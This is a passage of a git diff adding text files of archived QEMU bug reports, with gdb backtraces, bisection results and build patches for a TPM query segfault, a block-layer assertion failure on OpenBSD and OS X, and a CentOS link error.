vmstate_dump_file = 0x0 + main_loop_err = 0x0 +---Type <return> to continue, or q <return> to quit--- + err = 0x0 + list_data_dirs = false + dir = <optimized out> + dirs = <optimized out> + bdo_queue = {sqh_first = 0x0, sqh_last = 0x7fff5edcd670} + __func__ = "main" + + +Dest server is paused, and looks like this: + +#0 0x00007f11c48bc3c1 in ppoll () at /lib64/libc.so.6 +#1 0x0000000000861659 in qemu_poll_ns (fds=<optimized out>, nfds=<optimized out>, timeout=timeout@entry=2999892383) at util/qemu-timer.c:334 + ts = {tv_sec = 2, tv_nsec = 999892383} +Python Exception <class 'gdb.error'> That operation is not available on integers of more than 8 bytes.: +#2 0x00000000008622a4 in main_loop_wait (timeout=<optimized out>) at util/main-loop.c:233 + context = 0x2342810 + ret = <optimized out> + ret = -1295074913 + timeout = 4294967295 + timeout_ns = <optimized out> +#3 0x00000000008622a4 in main_loop_wait (nonblocking=nonblocking@entry=0) at util/main-loop.c:497 + ret = -1295074913 + timeout = 4294967295 + timeout_ns = <optimized out> +#4 0x0000000000595dee in main_loop () at vl.c:1866 +#5 0x000000000041f35d in main (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) at vl.c:4644 + i = <optimized out> + snapshot = 0 + linux_boot = <optimized out> + initrd_filename = 0x0 + kernel_filename = <optimized out> + kernel_cmdline = <optimized out> + boot_order = 0x918f44 "cad" + boot_once = 0x0 + ds = <optimized out> + opts = <optimized out> + machine_opts = <optimized out> + icount_opts = <optimized out> + accel_opts = 0x0 + olist = <optimized out> + optind = 71 + optarg = 0x7ffe6b899f69 "timestamp=on" + loadvm = 0x0 + machine_class = 0x0 + cpu_model = 0x7ffe6b89988a "Skylake-Server-IBRS,ss=on,hypervisor=on,tsc_adjust=on,clflushopt=on,umip=on,pku=on,ssbd=on,xsaves=on,topoext=on,hv_time,hv_relaxed,hv_vapic,hv_spinlocks=0x1fff,hv_vpindex,hv_runtime,hv_synic,hv_stimer"... + vga_model = 0x0 + qtest_chrdev = 0x0 + qtest_log = 0x0 + pid_file = <optimized out> + incoming = 0x7ffe6b899f0a "defer" + userconfig = <optimized out> + nographic = false + display_remote = <optimized out> + log_mask = <optimized out> + log_file = <optimized out> + trace_file = <optimized out> + maxram_size = 4294967296 + ram_slots = 0 + vmstate_dump_file = 0x0 + main_loop_err = 0x0 + err = 0x0 + list_data_dirs = false + dir = <optimized out> + dirs = <optimized out> + bdo_queue = {sqh_first = 0x0, sqh_last = 0x7ffe6b8988e0} +---Type <return> to continue, or q <return> to quit--- + __func__ = "main" + +Honestly looks pretty much like the same bug.... + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/runtime./1219207 b/results/classifier/deepseek-1/output/runtime./1219207 new file mode 100644 index 00000000..9a5ae6bc --- /dev/null +++ b/results/classifier/deepseek-1/output/runtime./1219207 @@ -0,0 +1,63 @@ + +QMP (32 bit only) segfaults in query-tpm-types when compiled with --enable-tpm + +NB: This bug ONLY happens on i686. When qemu is compiled for x86-64, the bug does NOT happen. + +$ ./configure --enable-tpm +$ make +$ (sleep 5; printf '{"execute":"qmp_capabilities"}\n{"execute":"query-tpm-types"}\n') | ./i386-softmmu/qemu-system-i386 -S -nodefaults -nographic -M none -qmp stdio +{"QMP": {"version": {"qemu": {"micro": 50, "minor": 6, "major": 1}, "package": ""}, "capabilities": []}} +{"return": {}} +Segmentation fault (core dumped) + +The stack trace is: + +#0 output_type_enum (v=0xb9938228, obj=0x5, + strings=0xb77f0320 <TpmType_lookup>, kind=0xb767f1d4 "TpmType", name=0x0, + errp=0xbfec4628) at qapi/qapi-visit-core.c:306 +#1 0xb762b3b5 in visit_type_enum (v=v@entry=0xb9938228, obj=0x5, + strings=0xb77f0320 <TpmType_lookup>, kind=kind@entry=0xb767f1d4 "TpmType", + name=name@entry=0x0, errp=errp@entry=0xbfec4628) + at qapi/qapi-visit-core.c:114 +#2 0xb74a9ef4 in visit_type_TpmType (errp=0xbfec4628, name=0x0, + obj=<optimized out>, m=0xb9938228) at qapi-visit.c:5220 +#3 visit_type_TpmTypeList (m=0xb9938228, obj=obj@entry=0xbfec4678, + name=name@entry=0xb76545a6 "unused", errp=errp@entry=0xbfec4674) + at qapi-visit.c:5206 +#4 0xb74c403e in qmp_marshal_output_query_tpm_types (errp=0xbfec4674, + ret_out=0xbfec46d8, ret_in=0xb993f490) at qmp-marshal.c:3795 +#5 qmp_marshal_input_query_tpm_types (mon=0xb9937098, qdict=0xb99379a0, + ret=0xbfec46d8) at qmp-marshal.c:3817 +#6 0xb7581d7a in qmp_call_cmd (cmd=<optimized out>, params=0xb99379a0, + mon=0xb9937098) at /home/rjones/d/qemu/monitor.c:4644 +#7 handle_qmp_command (parser=0xb99370ec, tokens=0xb9941438) + at /home/rjones/d/qemu/monitor.c:4710 +#8 0xb7631d8f in json_message_process_token (lexer=0xb99370f0, + token=0xb993f3a8, type=JSON_OPERATOR, x=29, y=1) + at qobject/json-streamer.c:87 +#9 0xb764579b in json_lexer_feed_char (lexer=lexer@entry=0xb99370f0, + ch=<optimized out>, flush=flush@entry=false) at qobject/json-lexer.c:303 +#10 0xb76458c8 in json_lexer_feed (lexer=lexer@entry=0xb99370f0, + buffer=buffer@entry=0xbfec486c "}\243\353S\351\364b\267/\327ⵀ\025}\267 \367b\267\315\372\223\271\065\023j\267\002", size=size@entry=1) + at qobject/json-lexer.c:356 +#11 0xb7631fab in json_message_parser_feed (parser=0xb99370ec, + buffer=buffer@entry=0xbfec486c "}\243\353S\351\364b\267/\327ⵀ\025}\267 \367b\267\315\372\223\271\065\023j\267\002", size=size@entry=1) + at qobject/json-streamer.c:110 +#12 0xb75803eb in monitor_control_read (opaque=0xb9937098, + buf=0xbfec486c "}\243\353S\351\364b\267/\327ⵀ\025}\267 \367b\267\315\372\223\271\065\023j\267\002", size=1) at /home/rjones/d/qemu/monitor.c:4731 +#13 0xb74b191e in qemu_chr_be_write (len=<optimized out>, + buf=0xbfec486c "}\243\353S\351\364b\267/\327ⵀ\025}\267 \367b\267\315\372\223\271\065\023j\267\002", s=0xb9935800) at qemu-char.c:165 +#14 fd_chr_read (chan=0xb9935870, cond=(G_IO_IN | G_IO_HUP), opaque=0xb9935800) + at qemu-char.c:841 +#15 0xb71f6876 in g_io_unix_dispatch () from /usr/lib/libglib-2.0.so.0 +#16 0xb71b0286 in g_main_context_dispatch () from /usr/lib/libglib-2.0.so.0 +#17 0xb747a13e in glib_pollfds_poll () at main-loop.c:189 +#18 os_host_main_loop_wait (timeout=<optimized out>) at main-loop.c:234 +#19 main_loop_wait (nonblocking=1) at main-loop.c:484 +#20 0xb7309f11 in main_loop () at vl.c:2090 +#21 main (argc=8, argv=0xbfec5c14, envp=0xbfec5c38) at vl.c:4435 + +Looks like the fix has been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=02dc4bf5684d3fb46786 +... so closing this ticket now. + diff --git a/results/classifier/deepseek-1/output/scenarios./1087114 b/results/classifier/deepseek-1/output/scenarios./1087114 new file mode 100644 index 00000000..1db2e796 --- /dev/null +++ b/results/classifier/deepseek-1/output/scenarios./1087114 @@ -0,0 +1,193 @@ + +assertion "QLIST_EMPTY(&bs->tracked_requests)" failed + +QEMU 1.3.0 on OpenBSD now crashes with an error as shown below and the command line params do not seem to matter. + +assertion "QLIST_EMPTY(&bs->tracked_requests)" failed: file "block.c", line 1220, function "bdrv_drain_all" + +#1 0x0000030d1bce24aa in abort () at /usr/src/lib/libc/stdlib/abort.c:70 + p = (struct atexit *) 0x30d11897000 + mask = 4294967263 + cleanup_called = 1 +#2 0x0000030d1bc5ff44 in __assert2 (file=Variable "file" is not available. +) at /usr/src/lib/libc/gen/assert.c:52 +No locals. +#3 0x0000030b0d383a03 in bdrv_drain_all () at block.c:1220 + bs = (BlockDriverState *) 0x30d13f3b630 + busy = false + __func__ = "bdrv_drain_all" +#4 0x0000030b0d43acfc in bmdma_cmd_writeb (bm=0x30d0f5f56a8, val=8) at hw/ide/pci.c:312 + __func__ = "bmdma_cmd_writeb" +#5 0x0000030b0d43b450 in bmdma_write (opaque=0x30d0f5f56a8, addr=0, val=8, size=1) at hw/ide/piix.c:76 + bm = (BMDMAState *) 0x30d0f5f56a8 +#6 0x0000030b0d5c2ce6 in memory_region_write_accessor (opaque=0x30d0f5f57d0, addr=0, value=0x30d18c288f0, size=1, shift=0, mask=255) + at /home/ports/pobj/qemu-1.3.0-debug/qemu-1.3.0/memory.c:334 + mr = (MemoryRegion *) 0x30d0f5f57d0 + tmp = 8 +#7 0x0000030b0d5c2dc5 in access_with_adjusted_size (addr=0, value=0x30d18c288f0, size=1, access_size_min=1, access_size_max=4, + access=0x30b0d5c2c6b <memory_region_write_accessor>, opaque=0x30d0f5f57d0) at /home/ports/pobj/qemu-1.3.0-debug/qemu-1.3.0/memory.c:364 + access_mask = 255 + access_size = 1 + i = 0 +#8 0x0000030b0d5c3222 in memory_region_iorange_write (iorange=0x30d1d5e7400, offset=0, width=1, data=8) + at /home/ports/pobj/qemu-1.3.0-debug/qemu-1.3.0/memory.c:439 + mrio = (MemoryRegionIORange *) 0x30d1d5e7400 + mr = (MemoryRegion *) 0x30d0f5f57d0 + __func__ = "memory_region_iorange_write" +#9 0x0000030b0d5c019a in ioport_writeb_thunk (opaque=0x30d1d5e7400, addr=49216, data=8) at /home/ports/pobj/qemu-1.3.0-debug/qemu-1.3.0/ioport.c:212 + ioport = (IORange *) 0x30d1d5e7400 +#10 0x0000030b0d5bfb65 in ioport_write (index=0, address=49216, data=8) at /home/ports/pobj/qemu-1.3.0-debug/qemu-1.3.0/ioport.c:83 + func = (IOPortWriteFunc *) 0x30b0d5c0148 <ioport_writeb_thunk> + default_func = {0x30b0d5bfbbc <default_ioport_writeb>, 0x30b0d5bfc61 <default_ioport_writew>, 0x30b0d5bfd0c <default_ioport_writel>} +#11 0x0000030b0d5c0704 in cpu_outb (addr=49216, val=8 '\b') at /home/ports/pobj/qemu-1.3.0-debug/qemu-1.3.0/ioport.c:289 +No locals. +#12 0x0000030b0d6067dd in helper_outb (port=49216, data=8) at /home/ports/pobj/qemu-1.3.0-debug/qemu-1.3.0/target-i386/misc_helper.c:72 +No locals. + +On Thu, Dec 06, 2012 at 04:02:57AM -0000, Brad Smith wrote: +> QEMU 1.3.0 on OpenBSD now crashes with an error as shown below and the +> command line params do not seem to matter. + +Please use git-bisect(1) to identify the commit that caused the +regression. + +I was unable to hit this code path with qemu-system-i386 with an IDE +disk. Please do share your command-line. + +> assertion "QLIST_EMPTY(&bs->tracked_requests)" failed: file "block.c", +> line 1220, function "bdrv_drain_all" + +bdrv_drain_all() waits until in-flight requests have completed. The +assertion verifies that all I/O requests are really done. Something is +wrong here. + +> #1 0x0000030d1bce24aa in abort () at /usr/src/lib/libc/stdlib/abort.c:70 +> p = (struct atexit *) 0x30d11897000 +> mask = 4294967263 +> cleanup_called = 1 +> #2 0x0000030d1bc5ff44 in __assert2 (file=Variable "file" is not available. +> ) at /usr/src/lib/libc/gen/assert.c:52 +> No locals. +> #3 0x0000030b0d383a03 in bdrv_drain_all () at block.c:1220 +> bs = (BlockDriverState *) 0x30d13f3b630 +> busy = false +> __func__ = "bdrv_drain_all" +> #4 0x0000030b0d43acfc in bmdma_cmd_writeb (bm=0x30d0f5f56a8, val=8) at hw/ide/pci.c:312 +> __func__ = "bmdma_cmd_writeb" +> #5 0x0000030b0d43b450 in bmdma_write (opaque=0x30d0f5f56a8, addr=0, val=8, size=1) at hw/ide/piix.c:76 +> bm = (BMDMAState *) 0x30d0f5f56a8 + +The device is an IDE disk. + +> #6 0x0000030b0d5c2ce6 in memory_region_write_accessor (opaque=0x30d0f5f57d0, addr=0, value=0x30d18c288f0, size=1, shift=0, mask=255) +> at /home/ports/pobj/qemu-1.3.0-debug/qemu-1.3.0/memory.c:334 +> mr = (MemoryRegion *) 0x30d0f5f57d0 +> tmp = 8 +> #7 0x0000030b0d5c2dc5 in access_with_adjusted_size (addr=0, value=0x30d18c288f0, size=1, access_size_min=1, access_size_max=4, +> access=0x30b0d5c2c6b <memory_region_write_accessor>, opaque=0x30d0f5f57d0) at /home/ports/pobj/qemu-1.3.0-debug/qemu-1.3.0/memory.c:364 +> access_mask = 255 +> access_size = 1 +> i = 0 +> #8 0x0000030b0d5c3222 in memory_region_iorange_write (iorange=0x30d1d5e7400, offset=0, width=1, data=8) +> at /home/ports/pobj/qemu-1.3.0-debug/qemu-1.3.0/memory.c:439 +> mrio = (MemoryRegionIORange *) 0x30d1d5e7400 +> mr = (MemoryRegion *) 0x30d0f5f57d0 +> __func__ = "memory_region_iorange_write" +> #9 0x0000030b0d5c019a in ioport_writeb_thunk (opaque=0x30d1d5e7400, addr=49216, data=8) at /home/ports/pobj/qemu-1.3.0-debug/qemu-1.3.0/ioport.c:212 +> ioport = (IORange *) 0x30d1d5e7400 +> #10 0x0000030b0d5bfb65 in ioport_write (index=0, address=49216, data=8) at /home/ports/pobj/qemu-1.3.0-debug/qemu-1.3.0/ioport.c:83 +> func = (IOPortWriteFunc *) 0x30b0d5c0148 <ioport_writeb_thunk> +> default_func = {0x30b0d5bfbbc <default_ioport_writeb>, 0x30b0d5bfc61 <default_ioport_writew>, 0x30b0d5bfd0c <default_ioport_writel>} +> #11 0x0000030b0d5c0704 in cpu_outb (addr=49216, val=8 '\b') at /home/ports/pobj/qemu-1.3.0-debug/qemu-1.3.0/ioport.c:289 +> No locals. +> #12 0x0000030b0d6067dd in helper_outb (port=49216, data=8) at /home/ports/pobj/qemu-1.3.0-debug/qemu-1.3.0/target-i386/misc_helper.c:72 +> No locals. + + +qemu-system-x86_64 -cdrom [image] -boot -d -hda virtual.img + +is the command line I was using. + +Please attach config.log, also please try (if you're using recent openbsd with rthreads) --with-coroutine=sigaltstack. + +I'm just finishing the bisection and think I have the commit that caused this but I'm now just testing commits +-1 from that commit to make sure and if it is will try reverting just that commit against HEAD as well. Using the sigaltstack coroutine backend did not make any difference. I actually am using that now and then reverted it when initially testing 1.3 to make sure that was not the source of the regression with no change in behaviour at all. Also yes I would be using rthreads. All development happens against -current. + +So what is causing this is this commit... c166cb72f1676855816340666c3b618beef4b976 + +semaphore: implement fallback counting semaphores with mutex+condvar + +OpenBSD and Darwin do not have sem_timedwait. Implement a fallback for them. + +If I remove that, since OpenBSD 5.2/-current has sem_timedwait, then it works just fine. + +On Thu, Dec 13, 2012 at 04:26:50PM +0800, Zhi Yong Wu wrote: +> On Thu, Dec 6, 2012 at 12:02 PM, Brad Smith <email address hidden> wrote: +> > Public bug reported: +> > +> > QEMU 1.3.0 on OpenBSD now crashes with an error as shown below and the +> > command line params do not seem to matter. +> > +> > assertion "QLIST_EMPTY(&bs->tracked_requests)" failed: file "block.c", +> > line 1220, function "bdrv_drain_all" +> Just i hit the same issue on my large scale perf testing, mayb i +> should try virtio-blk to work around before it is fixed by some guy. + +What OS are you using to host QEMU? + +-- +This message has been scanned for viruses and +dangerous content by MailScanner, and is +believed to be clean. + + + +Paolo, + +As you wrote the fallback code which is used when sem_timedwait() is missing could you please take a look at this when you have some time? I can test any patches you might come up with. + +I was experiencing this bug fairly regularly with QEMU 1.3.0 on OS X 10.8. All my emulations of debian environments couldn't even get past installation, because this bug would hit too early. + +Brad, it looks like 2 weeks ago you got a patch authored that fixes this fallback code. That's commit a795ef8dcb8cbadffc996c41ff38927a97645234, which was originally from Paolo. + +I have applied this patch locally to a copy of QEMU 1.3.0 and my problems went away. Thus I think this bug is fixed in HEAD, but I do not know if the commit has been put in another branch. + + + +I am currently experiencing this on Mac OS X 10.8 also, custom built yesterday evening from the master branch. + +I have looked at the diff and it looks like it has been applied in qemu-thread-posix.c file, but no luck. + +Any pointers? Thanks + +I had the same problem on Mac OS X 10.8.2 with qemu 1.3.0, but it is now fixed in the current master branch. I can confirm that the commit a795ef8dcb8cbadffc996c41ff38927a97645234 fixes this problem. This commit can also be applied to the 1.3.0 source. + +I am still having this error even though I compile from the master branch and commit a795ef8dcb8cbadffc996c41ff38927a97645234 is definitely there. + +Before the patch in question was commited running QEMU 1.3.0 hosted on OpenBSD I was able to cause QEMU to crash reproducibly by just booting OpenBSD within QEMU and upon the kernel accessing the virtual disk to read the disklabel or during an install writing the disklabel. After the patch was applied I was not able to cause any crashes and went through a handful of installs without any issues. + +Are you able to build QEMU with debug symbols and get a backtrace once it has crashed on your OS X system? + +The other question I have is if you look at the commit I mentioned as causing the crash (at least on OpenBSD) and revert that change from either 1.3.0 or HEAD branch and build QEMU on OS X does the crashing you're experiencing go away? + +On line 216 of qemu-thread-posix.c I have commented out the ++sem->count; which seems to be the only change made in that commit. Unfortunately it still crashes with that error. + +I have compiled with --enable-debug but not sure how to get a backtrace or even a log of what goes wrong. + +Aaron, this added line in qemu-thread-posix.c is the fix, qemu is expected to crash once this is removed. + +I guess Brad meant to revert c166cb72f1676855816340666c3b618beef4b976 which introduced the fallback code. However, reverting this commit alone will not work on Mac OS X as sem_timedwait() is not available (and the reason why the fallback code was added at all). + +So this is still an issue with 1.4.x and/or master? + +Any OS X and NetBSD users still affected by this issue should test this patch.. + +http://lists.nongnu.org/archive/html/qemu-devel/2013-06/msg05335.html + +Austin, Aaron and Reiner... Would you guys be able to test master on OS X and report back if this issue has been fully resolved or not? + +I was unable to reproduce the original issue on Mac OS X 10.8.4 using the current master. However, I was also unable to reproduce the original issue on the stable-1.5 branch which does not have the fix by Izumi Tsutsui linked above. As this second fix is only for a problem that appears in certain load situations, of course I might not be able to reproduce it. + +I also reviewed the code on master I am confident that the solution is correct now. + +As mentioned in previous comments already, this issue should be solved by commit a795ef8dcb8cbadffc996c4, so setting the status to "Fix released" now. + diff --git a/results/classifier/deepseek-1/output/setup./1258168 b/results/classifier/deepseek-1/output/setup./1258168 new file mode 100644 index 00000000..905e0e86 --- /dev/null +++ b/results/classifier/deepseek-1/output/setup./1258168 @@ -0,0 +1,315 @@ + +QEMU fails to build on CentOS 5.10 with --disable-pie reporting "/usr/bin/ld: -f may not be used without -shared " + +fails for (7dc65c0 (HEAD, origin/master, origin/HEAD, master) Open 2.0 development tree): + +... +libtool --mode=link --tag=CC cc -m64 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -Wendif-labels -Wmissing-include-dirs -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wold-style-definition -fstack-protector-all -I/usr/include/libpng12 -I/usr/include/nss3 -I/usr/include/nspr4 -pthread -I/usr/include/glib-2.0 -I/usr/lib64/glib-2.0/include -I/usr/include/pixman-1 -I/home/don/qemu/dtc/libfdt -pthread -I/usr/include/glib-2.0 -I/usr/lib64/glib-2.0/include -I/home/don/qemu/tests -O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -g -Wl,--warn-common -m64 -g -o vscclient libcacard/vscclient.o libcacard.la -Wc,-fstack-protector-all -lrt -pthread -L/lib64 -lgthread-2.0 -lglib-2.0 -lz -L/usr/kerberos/lib64 -lcurl -ldl -lgssapi_krb5 -lkrb5 -lk5crypto -lcom_err -lidn -lssl -lcrypto -lz -luuid +cc -m64 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -Wendif-labels -Wmissing-include-dirs -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wold-style-definition -fstack-protector-all -I/usr/include/libpng12 -I/usr/include/nss3 -I/usr/include/nspr4 -pthread -I/usr/include/glib-2.0 -I/usr/lib64/glib-2.0/include -I/usr/include/pixman-1 -I/home/don/qemu/dtc/libfdt -pthread -I/usr/include/glib-2.0 -I/usr/lib64/glib-2.0/include -I/home/don/qemu/tests -O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -g -Wl,--warn-common -m64 -g -o .libs/vscclient libcacard/vscclient.o -Wl,-fstack-protector-all -pthread ./.libs/libcacard.so -L/lib64 -L/usr/kerberos/lib64 -lssl3 -lsmime3 -lnss3 -lnssutil3 -lplds4 -lplc4 -lnspr4 -lpthread -lrt -lgthread-2.0 -lglib-2.0 -lcurl -ldl -lgssapi_krb5 -lkrb5 -lk5crypto -lcom_err -lidn -lssl -lcrypto -lz -luuid -Wl,--rpath -Wl,/usr/local/lib +/usr/bin/ld: -f may not be used without -shared +collect2: ld returned 1 exit status +make: *** [vscclient] Error 1 + +rm -rf out/tmp;mkdir out/tmp;pushd out/tmp;../../configure --disable-pie;make V=1 1>zz1 2>&1;popd +~/qemu/out/tmp ~/qemu +Install prefix /usr/local +BIOS directory /usr/local/share/qemu +binary directory /usr/local/bin +library directory /usr/local/lib +libexec directory /usr/local/libexec +include directory /usr/local/include +config directory /usr/local/etc +local state directory /usr/local/var +Manual directory /usr/local/share/man +ELF interp prefix /usr/gnemul/qemu-%M +Source path /home/don/qemu +C compiler cc +Host C compiler cc +C++ compiler c++ +Objective-C compiler cc +ARFLAGS rv +CFLAGS -O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -g +QEMU_CFLAGS -m64 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -Wendif-labels -Wmissing-include-dirs -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wold-style-definition -fstack-protector-all -I/usr/include/libpng12 -I/usr/include/nss3 -I/usr/include/nspr4 -pthread -I/usr/include/glib-2.0 -I/usr/lib64/glib-2.0/include -I/usr/include/pixman-1 -I$(SRC_PATH)/dtc/libfdt +LDFLAGS -Wl,--warn-common -m64 -g +make make +install install +python python +smbd /usr/sbin/smbd +host CPU x86_64 +host big endian no +target list alpha-softmmu arm-softmmu cris-softmmu i386-softmmu lm32-softmmu m68k-softmmu microblaze-softmmu microblazeel-softmmu mips-softmmu mips64-softmmu mips64el-softmmu mipsel-softmmu moxie-softmmu or32-softmmu ppc-softmmu ppc64-softmmu ppcemb-softmmu s390x-softmmu sh4-softmmu sh4eb-softmmu sparc-softmmu sparc64-softmmu unicore32-softmmu x86_64-softmmu xtensa-softmmu xtensaeb-softmmu alpha-linux-user arm-linux-user armeb-linux-user cris-linux-user i386-linux-user m68k-linux-user microblaze-linux-user microblazeel-linux-user mips-linux-user mips64-linux-user mips64el-linux-user mipsel-linux-user mipsn32-linux-user mipsn32el-linux-user or32-linux-user ppc-linux-user ppc64-linux-user ppc64abi32-linux-user s390x-linux-user sh4-linux-user sh4eb-linux-user sparc-linux-user sparc32plus-linux-user sparc64-linux-user unicore32-linux-user x86_64-linux-user +tcg debug enabled no +gprof enabled no +sparse enabled no +strip binaries yes +profiler no +static build no +-Werror enabled no +pixman system +SDL support yes +GTK support no +curses support yes +curl support yes +mingw32 support no +Audio drivers oss +Block whitelist (rw) +Block whitelist (ro) +VirtFS support yes +VNC support yes +VNC TLS support no +VNC SASL support yes +VNC JPEG support yes +VNC PNG support yes +VNC WS support no +xen support yes +brlapi support no +bluez support no +Documentation yes +GUEST_BASE yes +PIE no +vde support no +Linux AIO support no +ATTR/XATTR support yes +Install blobs yes +KVM support yes +RDMA support no +TCG interpreter no +fdt support yes +preadv support no +fdatasync yes +madvise yes +posix_madvise yes +sigev_thread_id yes +uuid support yes +libcap-ng support no +vhost-net support yes +vhost-scsi support yes +Trace backend nop +Trace output file trace-<pid> +spice support no (/) +rbd support no +xfsctl support no +nss used yes +libusb no +usb net redir no +GLX support yes +libiscsi support no +build guest agent yes +QGA VSS support no +seccomp support no +coroutine backend ucontext +coroutine pool yes +GlusterFS support no +virtio-blk-data-plane no +gcov gcov +gcov enabled no +TPM support no +libssh2 support no +TPM passthrough no +QOM debugging yes +vhdx yes + +I bisect'd this to: + +dcs-xen-53:~/qemu>git-bisect good +37746c5eacf309fa019ea0fa45f776c36c561457 is the first bad commit +commit 37746c5eacf309fa019ea0fa45f776c36c561457 +Author: Marc-André Lureau <email address hidden> +Date: Mon Feb 25 23:31:12 2013 +0100 + + build-sys: must link with -fstack-protector + + It is needed to give that flag to the linker as well, but latest + libtool 2.4.2 still swallows that argument, so let's pass it with + libtool -Wc argument. + + qemu-1.4.0/stubs/arch-query-cpu-def.c:6: undefined reference to `__stack_chk_guard' + + Signed-off-by: Marc-André Lureau <email address hidden> + Reviewed-by: Alon Levy <email address hidden> + +:100755 100755 33d3354ea30838694020660f5822f551293d7e9a ee2e7e8ad9b8a23af96e4e404e3f7658efcbe74b M configure +:100644 100644 edc2552f0886c99608b97f85bd932460fa50da73 36aba2de1fa9e0f8acde7640818e94a28dd03c80 M rules.mak + +Using the hack: + +git diff +diff --git a/configure b/configure +index 0666228..cf8123b 100755 +--- a/configure ++++ b/configure +@@ -1292,7 +1292,9 @@ done + + if compile_prog "-Werror -fstack-protector-all" "" ; then + QEMU_CFLAGS="$QEMU_CFLAGS -fstack-protector-all" +- LIBTOOLFLAGS="$LIBTOOLFLAGS -Wc,-fstack-protector-all" ++ if test "$pie" != "no" ; then ++ LIBTOOLFLAGS="$LIBTOOLFLAGS -Wc,-fstack-protector-all" ++ fi + fi + + # Workaround for http://gcc.gnu.org/PR55489. Happens with -fPIE/-fPIC and + +I now get: + +/home/don/qemu/libcacard/vscclient.c: In function 'do_socket_read': +/home/don/qemu/libcacard/vscclient.c:410: warning: implicit declaration of function 'g_warn_if_reached' +/home/don/qemu/libcacard/vscclient.c:410: warning: nested extern declaration of 'g_warn_if_reached' +/home/don/qemu/libcacard/vscclient.c: In function 'main': +/home/don/qemu/libcacard/vscclient.c:763: warning: implicit declaration of function 'g_byte_array_unref' +/home/don/qemu/libcacard/vscclient.c:763: warning: nested extern declaration of 'g_byte_array_unref' +... +libcacard/vscclient.o: In function `do_socket_read': +/home/don/qemu/libcacard/vscclient.c:410: undefined reference to `g_warn_if_reached' +libcacard/vscclient.o: In function `main': +/home/don/qemu/libcacard/vscclient.c:763: undefined reference to `g_byte_array_unref' +collect2: ld returned 1 exit status +make: *** [vscclient] Error 1 + + +This is the same as listed in: + +https://lists.gnu.org/archive/html/qemu-devel/2013-05/msg01667.html + +rpm -q glib2 +glib2-2.12.3-4.el5_3.1 +glib2-2.12.3-4.el5_3.1 + +Using: +http://pidgin.im/pipermail/commits/2011-February/018919.html + +I came up with: + + +diff --git a/libcacard/vscclient.c b/libcacard/vscclient.c +index a3cb776..5c9cec8 100644 +--- a/libcacard/vscclient.c ++++ b/libcacard/vscclient.c +@@ -407,7 +407,13 @@ do_socket_read(GIOChannel *source, + } + break; + default: ++#if GLIB_CHECK_VERSION(2, 16 ,0) + g_warn_if_reached(); ++#else ++ g_log(G_LOG_DOMAIN, G_LOG_LEVEL_WARNING, ++ "(%s:%d):%s%s code should not be reached", ++ __FILE__, __LINE__, G_STRFUNC, G_STRFUNC[0] ? ":" : ""); ++#endif + return FALSE; + } + +@@ -760,7 +766,11 @@ main( + + g_io_channel_unref(channel_stdin); + g_io_channel_unref(channel_socket); ++#if GLIB_CHECK_VERSION(2, 22, 0) + g_byte_array_unref(socket_to_send); ++#else ++ g_byte_array_free(socket_to_send, TRUE); ++#endif + + closesocket(sock); + return 0; + + +And I get a clean compile. + +We met the same problem when compiling qemu 2.0.0 on CentOS6, and fixed it with a similar patch to the configure script. + +Can you please test this patch? + +My testing of this patch is that it does not help. + + LINK qemu-bridge-helper + CC qmp-marshal.o +lt LINK vscclient +/usr/bin/ld: -f may not be used without -shared +collect2: ld returned 1 exit status +make: *** [vscclient] Error 1 +make: *** Waiting for unfinished jobs.... +dcs-xen-53:~/qemu/out/bug-1258168>git show +commit cceddd04255cdacacf91562d43fdb7afcec91242 +Author: Paolo Bonzini <email address hidden> +Date: Thu Nov 13 16:34:16 2014 +0000 + + configure: test patch for 1258168 + +diff --git a/configure b/configure +index 47048f0..b7bf30a 100755 +--- a/configure ++++ b/configure +@@ -140,8 +140,10 @@ do_libtool() { + } + + libtool_prog() { +- do_libtool --mode=compile $QEMU_CFLAGS -c -fPIE -DPIE -o $TMPO $TMPC || return $? +- do_libtool --mode=link $LDFLAGS -o $TMPA $TMPL -rpath /usr/local/lib ++ local_cflags="$1" ++ local_ldflags="$2" ++ do_libtool --mode=compile $QEMU_CFLAGS $local_cflags -c -fPIE -DPIE -o $TMPO $TMPC || return $? ++ do_libtool --mode=link $LDFLAGS $local_ldflags -o $TMPA $TMPL -rpath /usr/local/lib + } + + # symbolically link $1 to $2. Portable version of "ln -sf". +@@ -1501,13 +1503,16 @@ if test "$stack_protector" != "no"; then + for flag in $gcc_flags; do + # We need to check both a compile and a link, since some compiler + # setups fail only on a .c->.o compile and some only at link time +- if do_cc $QEMU_CFLAGS -Werror $flag -c -o $TMPO $TMPC && +- compile_prog "-Werror $flag" ""; then +- QEMU_CFLAGS="$QEMU_CFLAGS $flag" +- LIBTOOLFLAGS="$LIBTOOLFLAGS -Wc,$flag" +- sp_on=1 +- break ++ do_cc $QEMU_CFLAGS -Werror $flag -c -o $TMPO $TMPC || continue ++ compile_prog "-Werror $flag" "" || continue ++ if test -n "$libtool"; then ++ libtool_prog "-Werror $flag" "-Wc,$flag" || continue + fi ++ ++ QEMU_CFLAGS="$QEMU_CFLAGS $flag" 